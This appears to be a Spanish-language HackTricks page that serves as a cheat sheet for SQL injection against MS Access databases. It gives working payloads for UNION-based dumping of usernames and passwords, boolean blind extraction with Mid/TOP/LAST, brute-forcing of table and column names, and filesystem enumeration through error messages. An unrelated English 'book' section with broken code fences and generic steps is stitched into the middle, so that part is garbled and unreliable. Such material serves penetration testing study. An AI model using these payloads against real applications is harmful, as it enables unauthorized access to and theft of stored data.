MS Access SQL Injection

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Playground en Línea

Limitaciones de la Base de Datos

Concatenación de Cadenas

La concatenación de cadenas es posible con los caracteres & (%26) y + (%2b).

1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Comentarios

No hay comentarios en MS Access, pero aparentemente es posible eliminar el último de una consulta con un carácter NULL:

1' union select 1,2 from table%00

Si esto no funciona, siempre puedes corregir la sintaxis de la consulta:

1' UNION SELECT 1,2 FROM table WHERE ''='

Consultas Apiladas

No son compatibles.

LIMIT

El operador LIMIT no está implementado. Sin embargo, es posible limitar los resultados de una consulta SELECT a las primeras N filas de la tabla usando el operador TOP. TOP acepta como argumento un número entero, que representa la cantidad de filas a ser devueltas.

1' UNION SELECT TOP 3 attr FROM table%00

Al igual que TOP, puedes usar LAST que obtendrá las filas desde el final.

Consultas de UNION/Subconsultas

En un SQLi generalmente querrás ejecutar de alguna manera una nueva consulta para extraer información de otras tablas. MS Access siempre requiere que en subconsultas o consultas adicionales se indique un FROM. Por lo tanto, si deseas ejecutar un UNION SELECT o UNION ALL SELECT o un SELECT entre paréntesis en una condición, siempre necesitas indicar un FROM con un nombre de tabla válido. Por lo tanto, necesitas conocer un nombre de tabla válido.

-1' UNION SELECT username,password from users%00

Encadenamiento de igualdad + Subcadena

Esto te permitirá exfiltrar valores de la tabla actual sin necesidad de conocer el nombre de la tabla.

MS Access permite una sintaxis extraña como '1'=2='3'='asd'=false. Como generalmente la inyección SQL estará dentro de una cláusula WHERE, podemos abusar de eso.

Imagina que tienes una inyección SQL en una base de datos de MS Access y sabes (o has adivinado) que un nombre de columna es username, y ese es el campo que deseas exfiltrar. Podrías verificar las diferentes respuestas de la aplicación web cuando se utiliza la técnica de encadenamiento de igualdad y potencialmente exfiltrar contenido con una inyección booleana utilizando la función Mid para obtener subcadenas.

'=(Mid(username,1,3)='adm')='

Si conoces el nombre de la tabla y columna para volcar, puedes usar una combinación de Mid, LAST y TOP para filtrar toda la información a través de SQLi booleano:

'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Siéntete libre de probar esto en el entorno de pruebas en línea.

Fuerza bruta de nombres de tablas

Usando la técnica de encadenamiento de iguales también puedes realizar fuerza bruta en los nombres de las tablas de la siguiente manera:

'=(select+top+1+'lala'+from+<table_name>)='

El siguiente contenido es de un libro sobre técnicas de hacking. El contenido es de un archivo sobre inyección SQL en MS Access.

## MS Access SQL Injection

---

### Introduction

In this section, we will discuss how to perform SQL injection in MS Access databases.

### Steps to Perform SQL Injection in MS Access

1. **Identify the Vulnerable Parameter**: Find the input field or parameter that is vulnerable to SQL injection.

2. **Determine the Number of Columns**: Use the `ORDER BY` clause to determine the number of columns in the database.

3. **Retrieve Data**: Use the `UNION SELECT` statement to retrieve data from the database.

4. **Identify the Database Version**: Use database-specific queries to identify the version of MS Access.

5. **Dumping the Database**: Use SQL injection techniques to dump the entire database.

### Example

Assuming we have a vulnerable parameter `id` in a URL, we can perform SQL injection by manipulating the input.

```html
https://example.com/page?id=1

By injecting SQL code into the id parameter, we can retrieve sensitive data from the database.


By following these steps, you can successfully perform SQL injection in MS Access databases.

```sql
-1' AND (SELECT TOP 1 <table_name>)%00

Siéntete libre de verificar esto en el patio de recreo en línea.

Fuerza bruta de nombres de columnas

Puedes forzar por fuerza bruta los nombres de las columnas actuales con el truco de encadenamiento de iguales con:

'=column_name='

O con un group by:

-1' GROUP BY column_name%00

O puedes realizar un ataque de fuerza bruta en los nombres de las columnas de una tabla diferente con:

'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Volcado de datos

Ya hemos discutido la técnica de encadenamiento de iguales para volcar datos de las tablas actuales y otras. Pero hay otras formas:

IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

En resumen, la consulta utiliza una declaración "si-entonces" para desencadenar un "200 OK" en caso de éxito o un "500 Internal Error" de lo contrario. Aprovechando el operador TOP 10, es posible seleccionar los primeros diez resultados. El uso posterior de LAST permite considerar solo la décima tupla. En ese valor, utilizando el operador MID, es posible realizar una simple comparación de caracteres. Cambiando adecuadamente el índice de MID y TOP, podemos volcar el contenido del campo "username" para todas las filas.

Basado en Tiempo

Consulte https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Otras funciones interesantes

  • Mid('admin',1,1) obtener subcadena desde la posición 1 longitud 1 (la posición inicial es 1)

  • LEN('1234') obtener longitud de cadena

  • ASC('A') obtener el valor ASCII de un carácter

  • CHR(65) obtener cadena a partir del valor ASCII

  • IIF(1=1,'a','b') si entonces

  • COUNT(*) Contar número de elementos

Enumeración de tablas

Desde aquí puedes ver una consulta para obtener nombres de tablas:

select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Sin embargo, ten en cuenta que es muy típico encontrar Inyecciones SQL donde no tienes acceso para leer la tabla MSysObjects.

Acceso al Sistema de Archivos

Ruta Completa del Directorio Raíz Web

El conocimiento de la ruta absoluta del directorio raíz web puede facilitar ataques adicionales. Si los errores de la aplicación no están completamente ocultos, la ruta del directorio puede ser descubierta intentando seleccionar datos de una base de datos inexistente.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access responde con un mensaje de error que contiene la ruta completa del directorio web.

Enumeración de Archivos

El siguiente vector de ataque se puede utilizar para inferir la existencia de un archivo en el sistema de archivos remoto. Si el archivo especificado existe, MS Access desencadena un mensaje de error informando que el formato de la base de datos es inválido:

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Otra forma de enumerar archivos consiste en especificar un elemento de base de datos.tabla. Si el archivo especificado existe, MS Access muestra un mensaje de error de formato de base de datos.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Adivinanza del Nombre del Archivo .mdb

El nombre del archivo de la base de datos (.mdb) se puede inferir con la siguiente consulta:

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

Donde name[i] es un nombre de archivo .mdb y realTable es una tabla existente dentro de la base de datos. Aunque MS Access siempre desencadenará un mensaje de error, es posible distinguir entre un nombre de archivo inválido y un nombre de archivo .mdb válido.

Descifrador de Contraseñas .mdb

Access PassView es una utilidad gratuita que se puede utilizar para recuperar la contraseña principal de la base de datos de Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.

Referencias

Última actualización